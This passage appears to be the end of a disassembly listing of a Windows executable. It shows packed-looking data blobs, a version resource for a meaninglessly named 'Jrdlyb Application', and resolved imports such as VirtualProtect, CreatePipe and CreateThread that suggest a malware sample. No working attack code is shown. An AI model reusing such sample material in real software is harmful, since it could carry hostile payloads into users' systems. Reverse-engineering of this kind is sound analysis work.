		dd 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h
		dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h,	7DBA24E0h
		dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h
		dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h
		dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh
		dd 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh
		dd 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h
		dd 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h
		dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah
		dd 5E1CF9E4h, 0FA15EA4Eh, 0EE87647Dh, 905DDCCDh, 0D37BD30Bh
		dd 6070FD76h, 327FD107h, 9B86EE26h, 15B14082h, 0FBD685F2h
		dd 0A56D3426h, 64D583Bh, 0B1B6AB5Ah, 0D29D696Ah, 29AF328Dh
		dd 83388170h, 0C1906513h, 43C6B920h, 93D1D2DFh,	0E56B21E7h
		dd 9F1B3780h, 2AD6D1EFh, 2768B29Bh, 0B4AA8CBDh,	0DDE92929h
		dd 5AAFE5D6h, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 136h dup(0)
		dd 86h,	4Ch dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 1, 80000058h, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 38080h, 25Eh, 2 dup(0)
		dd 56000Fh, 5F0053h, 450056h, 530052h, 4F0049h,	5F004Eh
		dd 4E0049h, 4F0046h, 2 dup(0)
		dd 34025Eh, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 40002h, 20004h, 40002h, 20004h
		dd 17h,	0
		dd 4, 1, 3 dup(0)
		dd 202h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 1DEh, 300001h,	310034h, 300039h, 620034h
		dd 30h,	13004Eh, 460001h, 6C0069h, 440065h, 730065h, 720063h
		dd 700069h, 690074h, 6E006Fh, 0
aJrdlybApplic_1:
		unicode	0, <Jrdlyb Application>,0
		align 4
a6_0:
		unicode	0, <6>
		dw 0Bh
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a4224_0:
		unicode	0, <4, 2, 2, 4>,0
		align 10h
a__0:
		unicode	0, <.>
		dw 7
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	72004Ah, 6C0064h, 620079h, 0
		dd 13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h,	790070h
		dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h
		dd 200074h, 430028h, 200029h, 300032h, 380030h,	0
		dd 0B003Eh, 4F0001h, 690072h, 690067h, 61006Eh,	46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 72004Ah, 6C0064h, 620079h
		dd 65002Eh, 650078h, 0
		dd 130046h, 500001h, 6F0072h, 750064h, 740063h,	61004Eh
		dd 65006Dh, 0
aJrdlybApplic_2:
		unicode	0, <Jrdlyb Application>,0
		align 4
		unicode	0, <:>
		dw 0Bh
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2C0034h, 320020h, 20002Ch, 2C0032h, 340020h
		dd 3FEBh dup(0)
		db 0
dword_431B29	dd 17F0h						; sub_3D14C4:loc_3D14EDw ...
dword_431B2D	dd 2E4Ah						; sub_3D14C4+47w
dword_431B31	dd 5D5Ch						; sub_3D14C4+5Bw
dword_431B35	dd 35F4h						; sub_3D14C4+74w
		align 10h
dword_431B40	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtect					; sub_3D1855+98r ...
dword_431B44	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_431B48	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_3D14A7+15r ...
dword_431B4C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_3D1900+37Cw
dword_431B50	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_3D14C4+A5r ...
dword_431B54	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_3D1900+3A0w
dword_431B58	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_3D1900+3B2w
		align 100h
_data		ends

; Section 5. (virtual address 00063000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00062400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 433000h
		align 2000h
_idata2		ends


		end start